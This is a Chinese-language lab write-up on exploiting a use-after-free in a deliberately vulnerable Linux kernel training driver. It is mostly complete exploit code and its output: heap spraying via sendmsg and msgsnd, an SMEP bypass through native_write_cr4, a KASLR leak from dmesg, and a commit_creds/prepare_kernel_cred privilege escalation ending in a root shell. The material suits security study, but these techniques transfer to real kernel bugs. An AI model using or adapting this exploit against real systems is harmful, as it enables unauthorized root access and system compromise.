参考:https://xz.aliyun.com/t/6286
运行的脚本
qemu-system-x86_64 \
-m 256M \
-kernel ./bzImage \
-initrd ./vuln_driver.cpio \
-append "console=ttyS0 root=/dev/ram rdinit=/sbin/init quiet aslr" \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-cpu qemu64,+smep,+smap \
-s \
-nographic
# -smp cores=4,threads=2
提取内核
#!/bin/sh
# SPDX-License-Identifier: GPL-2.0-only
# ----------------------------------------------------------------------
# extract-vmlinux - Extract uncompressed vmlinux from a kernel image
#
# Inspired from extract-ikconfig
# (c) 2009,2010 Dick Streefland <dick@streefland.net>
#
# (c) 2011 Corentin Chary <corentin.chary@gmail.com>
#
# ----------------------------------------------------------------------
check_vmlinux()
{
# Use readelf to check if it's a valid ELF
# TODO: find a better to way to check that it's really vmlinux
# and not just an elf
readelf -h $1 > /dev/null 2>&1 || return 1
cat $1
exit 0
}
try_decompress()
{
# The obscure use of the "tr" filter is to work around older versions of
# "grep" that report the byte offset of the line instead of the pattern.
# Try to find the header ($1) and decompress from here
for pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"`
do
pos=${pos%%:*}
tail -c+$pos "$img" | $3 > $tmp 2> /dev/null
check_vmlinux $tmp
done
}
# Check invocation:
me=${0##*/}
img=$1
if [ $# -ne 1 -o ! -s "$img" ]
then
echo "Usage: $me <kernel-image>" >&2
exit 2
fi
# Prepare temp files:
tmp=$(mktemp /tmp/vmlinux-XXX)
trap "rm -f $tmp" 0
# That didn't work, so retry after decompression.
try_decompress '\037\213\010' xy gunzip
try_decompress '\3757zXZ\000' abcde unxz
try_decompress 'BZh' xy bunzip2
try_decompress '\135\0\0\0' xxx unlzma
try_decompress '\211\114\132' xy 'lzop -d'
try_decompress '\002!L\030' xxx 'lz4 -d'
try_decompress '(\265/\375' xxx unzstd
# Finally check for uncompressed images or objects:
check_vmlinux $img
# Bail out:
echo "$me: Cannot find vmlinux." >&2
命令
./tiqu.sh bzImage > vmlinux
提取rop链
ROPgadget --binary vmlinux > ropgadget
堆喷函数之sendmsg
只要传入size大于44,就能控制kmalloc申请的内核空间的数据。
//限制: BUFF_SIZE > 44
char buff[BUFF_SIZE];
struct msghdr msg = {0};
struct sockaddr_in addr = {0};
int sockfd = socket(AF_INET, SOCK_DGRAM, 0);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
addr.sin_family = AF_INET;
addr.sin_port = htons(6666);
// 布置用户空间buff的内容
msg.msg_control = buff;
msg.msg_controllen = BUFF_SIZE;
msg.msg_name = (caddr_t)&addr;
msg.msg_namelen = sizeof(addr);
// 假设此时已经产生释放对象,但指针未清空
for(int i = 0; i < 100000; i++) {
sendmsg(sockfd, &msg, 0);
}
// 触发UAF即可
堆喷射函数之msgsnd
前0x30字节不可控。数据量越大(本文示例是96字节),发生阻塞可能性越大
// 只能控制0x30字节以后的内容
struct {
long mtype;
char mtext[BUFF_SIZE];
}msg;
memset(msg.mtext, 0x42, BUFF_SIZE-1); // 布置用户空间的内容
msg.mtext[BUFF_SIZE] = 0;
int msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);
msg.mtype = 1; //必须 > 0
// 假设此时已经产生释放对象,但指针未清空
for(int i = 0; i < 120; i++)
msgsnd(msqid, &msg, sizeof(msg.mtext), 0);
// 触发UAF即可
漏洞分析
查看代码
// vuln_driver.c: do_ioctl()驱动号分配函数
static long do_ioctl(struct file *filp, unsigned int cmd, unsigned long args)
{
int ret;
unsigned long *p_arg = (unsigned long *)args;
ret = 0;
switch(cmd) {
case DRIVER_TEST:
printk(KERN_WARNING "[x] Talking to device [x]\n");
break;
case ALLOC_UAF_OBJ:
alloc_uaf_obj(args);
break;
case USE_UAF_OBJ:
use_uaf_obj();
break;
case ALLOC_K_OBJ:
alloc_k_obj((k_object *) args);
break;
case FREE_UAF_OBJ:
free_uaf_obj();
break;
}
return ret;
}
uaf_obj结构体
typedef struct uaf_obj
{
char uaf_first_buff[56];
long arg;
void (*fn)(long);
char uaf_second_buff[12];
}uaf_obj;
大小是84,实际申请时会分配一个96字节的堆块。
k_object结构体
typedef struct k_object
{
char kobj_buff[96];
}k_object;
本例中我们可以申请96大小的k_object对象,并在堆块上任意布置数据,但这样的话就太简单了点,实际漏洞利用中怎么会这么巧就让你控制堆上的数据呢。所以我们需要找到某些用户可调用的函数,它会在内核空间申请指定大小的chunk(本例中我们希望能分配到96字节的块),并把用户的数据拷贝过去。
主要代码如下,漏洞就是在释放堆时,未将存放堆地址的全局变量清零。
// 1. uaf_callback() 一个简单的回调函数
uaf_obj *global_uaf_obj = NULL;
static void uaf_callback(long num)
{
printk(KERN_WARNING "[-] Hit callback [-]\n");
}
// 2. 分配一个uaf对象,fn指向回调函数uaf_callback,第一个缓冲区uaf_first_buff填充"A"。 global_uaf_obj全局变量指向该对象
static int alloc_uaf_obj(long __user arg)
{
struct uaf_obj *target;
target = kmalloc(sizeof(uaf_obj), GFP_KERNEL); //为uaf_obj分配空间
if(!target) {
printk(KERN_WARNING "[-] Error no memory [-]\n");
return -ENOMEM;
}
target->arg = arg; //用户指定
target->fn = uaf_callback; //指向uaf_callback
memset(target->uaf_first_buff, 0x41, sizeof(target->uaf_first_buff));//uaf_first_buff用A来填充
global_uaf_obj = target;//指针给global_uaf_obj
printk(KERN_WARNING "[x] Allocated uaf object [x]\n");
return 0;
}
// 3. 释放uaf对象,但未清空global_uaf_obj指针
static void free_uaf_obj(void)
{
kfree(global_uaf_obj);
//global_uaf_obj = NULL
printk(KERN_WARNING "[x] uaf object freed [x]");
}
// 4. 使用uaf对象,调用成员fn指向的函数
static void use_uaf_obj(void)
{
if(global_uaf_obj->fn)
{
//debug info
printk(KERN_WARNING "[x] Calling 0x%p(%lu)[x]\n", global_uaf_obj->fn, global_uaf_obj->arg);
global_uaf_obj->fn(global_uaf_obj->arg);
}
}
// 5. 分配k_object对象,并从用户地址user_kobj拷贝数据到分配的地址
static int alloc_k_obj(k_object *user_kobj)
{
k_object *trash_object = kmalloc(sizeof(k_object), GFP_KERNEL);
int ret;
if(!trash_object) {
printk(KERN_WARNING "[x] Error allocating k_object memory [-]\n");
return -ENOMEM;
}
ret = copy_from_user(trash_object, user_kobj, sizeof(k_object));
printk(KERN_WARNING "[x] Allocated k_object [x]\n");
return 0;
}
利用思路
思路:如果uaf_obj被释放,但指向它的global_uaf_obj变量未清零,若另一个对象分配到相同的cache,并且能够控制该cache上的内容,我们就能控制fn()调用的函数。
测试:本例中我们可以利用k_object对象来布置堆数据,将uaf_obj对象的fn指针覆盖为0x4242424242424242。完整代码如下
#define _GNU_SOURCE
#include <sys/mman.h>
#include <sys/wait.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <stdio.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
//#include "common.h"
//#include "vuln_driver.h"
#ifndef _VULN_DRIVER_
#define _VULN_DRIVER_
#define DEVICE_NAME "vulnerable_device"
#define IOCTL_NUM 0xFE
#define DRIVER_TEST _IO (IOCTL_NUM, 0)
#define BUFFER_OVERFLOW _IOR (IOCTL_NUM, 1, char *)
#define NULL_POINTER_DEREF _IOR (IOCTL_NUM, 2, unsigned long)
#define ALLOC_UAF_OBJ _IO (IOCTL_NUM, 3)
#define USE_UAF_OBJ _IO (IOCTL_NUM, 4)
#define ALLOC_K_OBJ _IOR (IOCTL_NUM, 5, unsigned long)
#define FREE_UAF_OBJ _IO(IOCTL_NUM, 6)
#define ARBITRARY_RW_INIT _IOR(IOCTL_NUM, 7, unsigned long)
#define ARBITRARY_RW_REALLOC _IOR(IOCTL_NUM, 8, unsigned long)
#define ARBITRARY_RW_READ _IOWR(IOCTL_NUM, 9, unsigned long)
#define ARBITRARY_RW_SEEK _IOR(IOCTL_NUM, 10, unsigned long)
#define ARBITRARY_RW_WRITE _IOR(IOCTL_NUM, 11, unsigned long)
#define UNINITIALISED_STACK_ALLOC _IOR(IOCTL_NUM, 12, unsigned long)
#define UNINITIALISED_STACK_USE _IOR(IOCTL_NUM, 13, unsigned long)
#endif
#define BUFF_SIZE 96
typedef struct k_object //96字节
{
char buff[BUFF_SIZE];
}k_object;
void use_after_free_kobj(int fd)
{
k_object *obj = malloc(sizeof(k_object));
//60 bytes overwrites the last 4 bytes of the address
memset(obj->buff, 0x42, 96);
ioctl(fd, ALLOC_UAF_OBJ, NULL); //为uaf_obj分配空间(96字节)
ioctl(fd, FREE_UAF_OBJ, NULL); //free这个global uaf_object
ioctl(fd, ALLOC_K_OBJ, obj); //为k_object分配空间(96字节),此时分配到同一个地址
ioctl(fd, USE_UAF_OBJ, NULL); //调用global_uaf_obj->fn,其中参数为global_uaf_obj->arg
return ;
}
int main(void)
{
int fd = open("/dev/vulnerable_device", O_RDWR); //打开设备
if (fd<0){
printf("[-] Open error!\n");
return 0;
}
use_after_free_kobj(fd);
return 0;
}
运行后
/ $ ./easy_uaf
[ 7.352068] general protection fault: 0000 [#1] SMP
[ 7.352183] Modules linked in: vuln_driver(OE)
[ 7.352183] CPU: 0 PID: 100 Comm: easy_uaf Tainted: G OE 4.4.184 #1
[ 7.352183] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014
[ 7.352183] task: ffff88000f910cc0 ti: ffff88000f95c000 task.ti: ffff88000f95c000
[ 7.352183] RIP: 0010:[<4242424242424242>] [<4242424242424242>] 0x4242424242424242
...
...
漏洞利用
绕过SMEP
CR4寄存器的第20位为1,则表示开启了SMEP,若执行到用户指令,就会报错”BUG: unable to handle kernel paging request at 0xxxxxx”
最简单的方法是通过native_write_cr4()
函数:
// /arch/x86/include/asm/special_insns.h
static inline void native_write_cr4(unsigned long val)
{
asm volatile("mov %0,%%cr4": : "r" (val), "m" (__force_order));
}
本文用到的vuln_driver简化了利用过程,否则我们还需要控制第1个参数,所以利用目标就是:global_uaf_obj->fn(global_uaf_obj->arg) ---> native_write_cr4(global...->arg)
.也即执行native_write_cr4(0x407f0)
即可.
利用堆喷进行uaf
sendmsg注意:分配堆块必须大于44。
//用sendmsg构造堆喷,一个通用接口搞定,只需传入待执行的目标地址+参数
void use_after_free_sendmsg(int fd, size_t target, size_t arg)
{
char buff[BUFF_SIZE];
struct msghdr msg={0};
struct sockaddr_in addr={0};
int sockfd = socket(AF_INET,SOCK_DGRAM,0);
// 布置堆喷数据
memset(buff,0x43,sizeof buff);
memcpy(buff+56,&arg,sizeof(long));
memcpy(buff+56+(sizeof(long)),&target,sizeof(long));
addr.sin_addr.s_addr=htonl(INADDR_LOOPBACK);
addr.sin_family=AF_INET;
addr.sin_port=htons(6666);
// buff是堆喷射的数据,BUFF_SIZE是最后要调用KMALLOC申请的大小
msg.msg_control=buff;
msg.msg_controllen=BUFF_SIZE;
msg.msg_name=(caddr_t)&addr;
msg.msg_namelen= sizeof(addr);
// 构造UAF对象
ioctl(fd,ALLOC_UAF_OBJ,NULL);
ioctl(fd,FREE_UAF_OBJ,NULL);
//开始堆喷
for (int i=0;i<10000;i++){
sendmsg(sockfd,&msg,0);
}
//触发
ioctl(fd,USE_UAF_OBJ,NULL);
}
msgsnd注意:msgsnd堆喷必须减去头部长度48,前48字节不可控。
//用msgsnd构造堆喷
int use_after_free_msgsnd(int fd, size_t target, size_t arg)
{
int new_len=BUFF_SIZE-48;
struct {
size_t mtype;
char mtext[new_len];
} msg;
//布置堆喷数据,必须减去头部48字节
memset(msg.mtext,0x42,new_len-1);
memcpy(msg.mtext+56-48,&arg,sizeof(long));
memcpy(msg.mtext+56-48+(sizeof(long)),&target,sizeof(long));
msg.mtext[new_len]=0;
msg.mtype=1; //mtype必须 大于0
// 创建消息队列
int msqid=msgget(IPC_PRIVATE,0644 | IPC_CREAT);
// 构造UAF对象
ioctl(fd, ALLOC_UAF_OBJ,NULL);
ioctl(fd,FREE_UAF_OBJ,NULL);
//开始堆喷
for (int i=0;i<120;i++)
msgsnd(msqid,&msg,sizeof(msg.mtext),0);
//触发
ioctl(fd,USE_UAF_OBJ,NULL);
}
开始测试
完整的代码如下
#define _GNU_SOURCE
#include <sys/mman.h>
#include <sys/wait.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <stdio.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>
#include <linux/if_arp.h>
#ifndef _VULN_DRIVER_
#define _VULN_DRIVER_
#define DEVICE_NAME "vulnerable_device"
#define IOCTL_NUM 0xFE
#define DRIVER_TEST _IO (IOCTL_NUM,0)
#define BUFFER_OVERFLOW _IOR (IOCTL_NUM,1,char *)
#define NULL_POINTER_DEREF _IOR (IOCTL_NUM,2,unsigned long)
#define ALLOC_UAF_OBJ _IO (IOCTL_NUM,3)
#define USE_UAF_OBJ _IO (IOCTL_NUM,4)
#define ALLOC_K_OBJ _IOR (IOCTL_NUM,5,unsigned long)
#define FREE_UAF_OBJ _IO (IOCTL_NUM,6)
#define ARBITRARY_RW_INIT _IOR(IOCTL_NUM,7 unsigned long)
#define ARBITRARY_RW_REALLOC _IOR(IOCTL_NUM,8,unsigned long)
#define ARBITRARY_RW_READ _IOWR(IOCTL_NUM,9,unsigned long)
#define ARBITRARY_RW_SEEK _IOR(IOCTL_NUM,10,unsigned long)
#define ARBITRARY_RW_WRITE _IOR(IOCTL_NUM,11,unsigned long)
#define UNINITIALISED_STACK_ALLOC _IOR(IOCTL_NUM,12,unsigned long)
#define UNINITIALISED_STACK_USE _IOR(IOCTL_NUM,13,unsigned long)
#endif
#define BUFF_SIZE 96
typedef struct uaf_obj //96字节
{
char uaf_first_buff[56];
long arg;
void (*fn)(long);
char uaf_second_buff[12];
};
//用sendmsg构造堆喷,一个通用接口搞定,只需传入待执行的目标地址+参数
void use_after_free_sendmsg(int fd, size_t target, size_t arg)
{
char buff[BUFF_SIZE]; //96
struct msghdr msg={0};
struct sockaddr_in addr={0};
int sockfd = socket(AF_INET,SOCK_DGRAM,0);
// 布置堆喷数据
memset(buff,0x43,sizeof buff);//96字节全部用c填满
memcpy(buff+56,&arg,sizeof(long)); //伪造 long arg;
memcpy(buff+56+(sizeof(long)),&target,sizeof(long)); //伪造 char uaf_second_buff[12];
addr.sin_addr.s_addr=htonl(INADDR_LOOPBACK);
addr.sin_family=AF_INET;
addr.sin_port=htons(6666);
msg.msg_control=buff; //buff是堆喷射的数据
msg.msg_controllen=BUFF_SIZE; //BUFF_SIZE是最后要调用KMALLOC申请的大小
msg.msg_name=(caddr_t)&addr;
msg.msg_namelen= sizeof(addr);
// 构造UAF对象
ioctl(fd,ALLOC_UAF_OBJ,NULL); //为uaf_obj分配空间(96字节)
ioctl(fd,FREE_UAF_OBJ,NULL); //free这个global uaf_object
//开始堆喷
for (int i=0;i<10000;i++){
sendmsg(sockfd,&msg,0);
}
//触发
ioctl(fd,USE_UAF_OBJ,NULL); //调用global_uaf_obj->fn,其中参数为global_uaf_obj->arg
}
//用msgsnd构造堆喷
int use_after_free_msgsnd(int fd, size_t target, size_t arg)
{
int new_len=BUFF_SIZE-48; //96-48=48
struct {
size_t mtype;
char mtext[new_len];
} msg;
//布置堆喷数据
memset(msg.mtext,0x42,new_len-1);
memcpy(msg.mtext+56-48,&arg,sizeof(long));
memcpy(msg.mtext+56-48+(sizeof(long)),&target,sizeof(long));
msg.mtext[new_len]=0;
msg.mtype=1; //mtype必须 大于0
// 创建消息队列
int msqid=msgget(IPC_PRIVATE,0644 | IPC_CREAT);
// 构造UAF对象
ioctl(fd, ALLOC_UAF_OBJ,NULL); //为uaf_obj分配空间(96字节)
ioctl(fd,FREE_UAF_OBJ,NULL); //free这个global uaf_object
//开始堆喷
for (int i=0;i<120;i++)
msgsnd(msqid,&msg,sizeof(msg.mtext),0);
//触发
ioctl(fd,USE_UAF_OBJ,NULL); //调用global_uaf_obj->fn,其中参数为global_uaf_obj->arg
}
#define MMAP_ADDR 0x100000000000 // 用户地址,放用户代码
#define PATH "/dev/vulnerable_device"
void stub() // 此函数仅用作测试
{
int x=0;
x++;
}
int main()
{
size_t native_write_cr4_addr=0xffffffff81065a30; //push rbp ; mov rbp, rsp ; mov cr4, rdi ; pop rbp ; ret
size_t fake_cr4=0x407e0;
void *addr=mmap((void *)MMAP_ADDR,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC, MAP_FIXED|MAP_SHARED|MAP_ANON,0,0);//在用户空间分配空间
void **fn=MMAP_ADDR;
memcpy(fn,stub,128); // 拷贝stub代码到 MMAP_ADDR
int fd=open(PATH,O_RDWR); //打开设备
ioctl(fd,DRIVER_TEST,NULL); //打印一个字符串,用于标识dmesg中字符串的开始
use_after_free_sendmsg(fd,native_write_cr4_addr,fake_cr4); //这个堆喷是绕过smep,执行native_write_cr4(0x407f0)
use_after_free_sendmsg(fd,MMAP_ADDR,0); //这个堆喷是运行用户空间代码
// use_after_free_msgsnd(fd,native_write_cr4_addr,fake_cr4);
// use_after_free_msgsnd(fd,MMAP_ADDR,0);
return 0;
}
运行程序,程序确实运行到了0x100000000000
[----------------------------------registers-----------------------------------]
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
=> 0x100000000000: push rbp
0x100000000001: mov rbp,rsp
0x100000000004: mov DWORD PTR [rbp-0x4],0x0
0x10000000000b: add DWORD PTR [rbp-0x4],0x1
[------------------------------------stack-------------------------------------]
KASLR绕过
目标:泄露kernel地址,获取native_write_cr4、prepare_kernel_cred、commit_creds函数地址。
说明:一般都会开启kptr_restrict保护,不能读取/proc/kallsyms,但是通常可以dmesg读取内核打印的信息。
方法:由dmesg可以想到,构造pagefault,利用内核打印信息来泄露kernel地址。
步骤如下
- 在子线程中触发page_fault,从dmesg读取打印信息
- 找到SyS_ioctl+0x79地址,计算kernel_base
- 计算3个目标函数地址
整合exp
单核运行
//让程序只在单核上运行,以免只关闭了1个核的smep,却在另1个核上跑shell
void force_single_core()
{
cpu_set_t mask;
CPU_ZERO(&mask);
CPU_SET(0,&mask);
if (sched_setaffinity(0,sizeof(mask),&mask))
printf("[-----] Error setting affinity to core0, continue anyway, exploit may fault \n");
return;
}
泄露kernel基址
// 构造 page_fault 泄露kernel地址。从dmesg读取后写到/tmp/infoleak,再读出来
pid_t pid=fork();
if (pid==0){
do_page_fault();
exit(0);
}
int status;
wait(&status); // 等子进程结束
//sleep(10);
printf("[+] Begin to leak address by dmesg![+]\n");
size_t kernel_base = get_info_leak()-sys_ioctl_offset;
printf("[+] Kernel base addr : %p [+] \n", kernel_base);
native_write_cr4_addr+=kernel_base;
prepare_kernel_cred_addr+=kernel_base;
commit_creds_addr+=kernel_base;
关闭smep,并提权
//关闭smep,并提权
use_after_free_sendmsg(fd,native_write_cr4_addr,fake_cr4);
use_after_free_sendmsg(fd,get_root,0); //MMAP_ADDR
//use_after_free_msgsnd(fd,native_write_cr4_addr,fake_cr4);
//use_after_free_msgsnd(fd,get_root,0); //MMAP_ADDR
if (getuid()==0)
{
printf("[+] Congratulations! You get root shell !!! [+]\n");
system("/bin/sh");
}
最终运行结果
[+] Begin to leak address by dmesg![+]
[+] Kernel base addr : 0xffffffff83000000 [+]
[+] We can get 3 important function address ![+]
native_write_cr4_addr = 0xffffffff83065a30
prepare_kernel_cred_addr = 0xffffffff830a6ca0
commit_creds_addr = 0xffffffff830a68b0
[ 183.305275] [x] Allocated uaf object [x]
[ 183.308903] [x] uaf object freed [x]
[ 183.341381] [x] Calling 0xffffffff83065a30(264176)[x]
[ 183.351574] [x] Allocated uaf object [x]
[ 183.356849] [x] uaf object freed [x]
[ 183.392989] [x] Calling 0x0000000000400f1b(0)[x]
[+] Congratulations! You get root shell !!! [+]
/ # id
uid=0 gid=0
其中完整的代码如下
#define _GNU_SOURCE
#include <sys/mman.h>
#include <sys/wait.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <stdio.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>
#include <linux/if_arp.h>
#ifndef _VULN_DRIVER_
#define _VULN_DRIVER_
#define DEVICE_NAME "vulnerable_device"
#define IOCTL_NUM 0xFE
#define DRIVER_TEST _IO (IOCTL_NUM,0)
#define BUFFER_OVERFLOW _IOR (IOCTL_NUM,1,char *)
#define NULL_POINTER_DEREF _IOR (IOCTL_NUM,2,unsigned long)
#define ALLOC_UAF_OBJ _IO (IOCTL_NUM,3)
#define USE_UAF_OBJ _IO (IOCTL_NUM,4)
#define ALLOC_K_OBJ _IOR (IOCTL_NUM,5,unsigned long)
#define FREE_UAF_OBJ _IO (IOCTL_NUM,6)
#define ARBITRARY_RW_INIT _IOR(IOCTL_NUM,7 unsigned long)
#define ARBITRARY_RW_REALLOC _IOR(IOCTL_NUM,8,unsigned long)
#define ARBITRARY_RW_READ _IOWR(IOCTL_NUM,9,unsigned long)
#define ARBITRARY_RW_SEEK _IOR(IOCTL_NUM,10,unsigned long)
#define ARBITRARY_RW_WRITE _IOR(IOCTL_NUM,11,unsigned long)
#define UNINITIALISED_STACK_ALLOC _IOR(IOCTL_NUM,12,unsigned long)
#define UNINITIALISED_STACK_USE _IOR(IOCTL_NUM,13,unsigned long)
#endif
#define BUFF_SIZE 96
#define PATH "/dev/vulnerable_device"
typedef struct uaf_obj
{
char uaf_first_buff[56];
long arg;
void (*fn)(long);
char uaf_second_buff[12];
};
void force_single_core() //让程序只在单核上运行,以免只关闭了1个核的smep,却在另1个核上跑shell
{
cpu_set_t mask;
CPU_ZERO(&mask);
CPU_SET(0,&mask);
if (sched_setaffinity(0,sizeof(mask),&mask))
printf("[-----] Error setting affinity to core0, continue anyway, exploit may fault \n");
return;
}
//用sendmsg构造堆喷,一个通用接口搞定,只需传入待执行的目标地址+参数
void use_after_free_sendmsg(int fd, size_t target, size_t arg)
{
char buff[BUFF_SIZE];
struct msghdr msg={0};
struct sockaddr_in addr={0};
int sockfd = socket(AF_INET,SOCK_DGRAM,0);
// 布置堆喷数据
memset(buff,0x43,sizeof buff);
memcpy(buff+56,&arg,sizeof(long));
memcpy(buff+56+(sizeof(long)),&target,sizeof(long));
addr.sin_addr.s_addr=htonl(INADDR_LOOPBACK);
addr.sin_family=AF_INET;
addr.sin_port=htons(6666);
// buff是堆喷射的数据,BUFF_SIZE是最后要调用KMALLOC申请的大小
msg.msg_control=buff;
msg.msg_controllen=BUFF_SIZE;
msg.msg_name=(caddr_t)&addr;
msg.msg_namelen= sizeof(addr);
// 构造UAF对象
ioctl(fd,ALLOC_UAF_OBJ,NULL);
ioctl(fd,FREE_UAF_OBJ,NULL);
//开始堆喷
for (int i=0;i<10000;i++){
sendmsg(sockfd,&msg,0);
}
//触发
ioctl(fd,USE_UAF_OBJ,NULL);
}
//用msgsnd构造堆喷
int use_after_free_msgsnd(int fd, size_t target, size_t arg)
{
int new_len=BUFF_SIZE-48;
struct {
size_t mtype;
char mtext[new_len];
} msg;
//布置堆喷数据
memset(msg.mtext,0x42,new_len-1);
memcpy(msg.mtext+56-48,&arg,sizeof(long));
memcpy(msg.mtext+56-48+(sizeof(long)),&target,sizeof(long));
msg.mtext[new_len]=0;
msg.mtype=1; //mtype必须 大于0
// 创建消息队列
int msqid=msgget(IPC_PRIVATE,0644 | IPC_CREAT);
// 构造UAF对象
ioctl(fd, ALLOC_UAF_OBJ,NULL);
ioctl(fd,FREE_UAF_OBJ,NULL);
//开始堆喷
for (int i=0;i<120;i++)
msgsnd(msqid,&msg,sizeof(msg.mtext),0);
//触发
ioctl(fd,USE_UAF_OBJ,NULL);
}
// 触发page_fault 泄露kernel基址
void do_page_fault()
{
size_t info_leak_magic=0xffffffffffe39dd7; //0x41414141deadbeef //只要是无法访问的地址就行,触发page_fault
int child_fd=open(PATH,O_RDWR);
//use_after_free_msgsnd(child_fd, info_leak_magic, 0); //触发执行info_leak_magic地址处的代码
use_after_free_sendmsg(child_fd, info_leak_magic, 0);
return ;
}
#define GREP_INFOLEAK "dmesg | grep SyS_ioctl+0x79 | awk '{print $3}' | cut -d '<' -f 2 | cut -d '>' -f 1 > /tmp/infoleak"
size_t get_info_leak() //执行dmesg并解析地址
{
system(GREP_INFOLEAK);
size_t addr=0;
FILE *fd=fopen("/tmp/infoleak","r");
fscanf(fd,"%lx",&addr);
fclose(fd);
return addr;
}
size_t prepare_kernel_cred_addr=0xa6ca0;
size_t commit_creds_addr=0xa68b0;
size_t native_write_cr4_addr=0x65a30;
size_t sys_ioctl_offset=0x22bc59;
size_t fake_cr4=0x407f0;
void get_root() //这个就是提权
{
char* (*pkc)(int) = prepare_kernel_cred_addr;
void (*cc)(char*) = commit_creds_addr;
(*cc)((*pkc)(0));
}
int main()
{
force_single_core(); // step 1: 只允许在单核上运行
int fd = open("/dev/vulnerable_device", O_RDWR);
if (fd<0){
printf("[-] Open error!\n");
return 0;
}
ioctl(fd,DRIVER_TEST,NULL); //用于标识dmesg中字符串的开始
// step 2: 构造 page_fault 泄露kernel地址。从dmesg读取后写到/tmp/infoleak,再读出来
pid_t pid=fork();
if (pid==0){
do_page_fault();
exit(0);
}
int status;
wait(&status); // 等子进程结束
//sleep(10);
printf("[+] Begin to leak address by dmesg![+]\n");
size_t kernel_base = get_info_leak()-sys_ioctl_offset;
printf("[+] Kernel base addr : %p [+] \n", kernel_base);
native_write_cr4_addr+=kernel_base;
prepare_kernel_cred_addr+=kernel_base;
commit_creds_addr+=kernel_base;
printf("[+] We can get 3 important function address ![+]\n");
printf(" native_write_cr4_addr = %p\n",native_write_cr4_addr);
printf(" prepare_kernel_cred_addr = %p\n",prepare_kernel_cred_addr);
printf(" commit_creds_addr = %p\n",commit_creds_addr);
// step 3: 关闭smep,并提权
use_after_free_sendmsg(fd,native_write_cr4_addr,fake_cr4);
use_after_free_sendmsg(fd,get_root,0); //MMAP_ADDR
//use_after_free_msgsnd(fd,native_write_cr4_addr,fake_cr4);
//use_after_free_msgsnd(fd,get_root,0); //MMAP_ADDR
// step 4: 获得shell
if (getuid()==0)
{
printf("[+] Congratulations! You get root shell !!! [+]\n");
system("/bin/sh");
}
close(fd);
return 0;
}
/*
[+] Kernel base addr : 0xffffffffffdd43a7 [+]
[+] We can get 3 important function address ![+]
native_write_cr4_addr = 0xffffffffffe39dd7
prepare_kernel_cred_addr = 0xffffffffffe7b047
commit_creds_addr = 0xffffffffffe7ac57
问题1:
报错:执行0x100000000000处的内容时产生pagefault,可能是访问0x1000002ce8fd地址出错
gdb-peda$ x /10i $pc
=> 0x100000000000: push rbp
0x100000000001: mov rbp,rsp
0x100000000004: push rbx
0x100000000005: sub rsp,0x8
0x100000000009:
mov rbx,QWORD PTR [rip+0x2ce8ed] # 0x1000002ce8fd
0x100000000010:
mov rax,QWORD PTR [rip+0x2ce8ee] # 0x1000002ce905
0x100000000017: mov edi,0x0
0x10000000001c: call rax
0x10000000001e: mov rdi,rax
0x100000000021: call rbx
[ 10.421887] BUG: unable to handle kernel paging request at 00001000002ce8fd
[ 10.424836] IP: [<0000100000000009>] 0x100000000009
问题2:
普通用户权限1000下,不能触发page_fault,所以不能靠dmesg泄露kernel地址。我怀疑是内核的保护机制,在普通用户权限下不会因为pagefault而打印出内核基址。
调试:
ALLOC_UAF_OBJ
.text:0000000000000402 call kmem_cache_alloc_trace
USE_UAF_OBJ
.text:0000000000000486 mov rdi, [rax+38h]
.text:000000000000048A mov rax, [rax+40h]
.text:000000000000048E call __x86_indirect_thunk_rax
.bss:0000000000001148 global_uaf_obj
$ cat /sys/module/vuln_driver/sections/.text
0xffffffffc0008000
0xffffffffc0000000
*/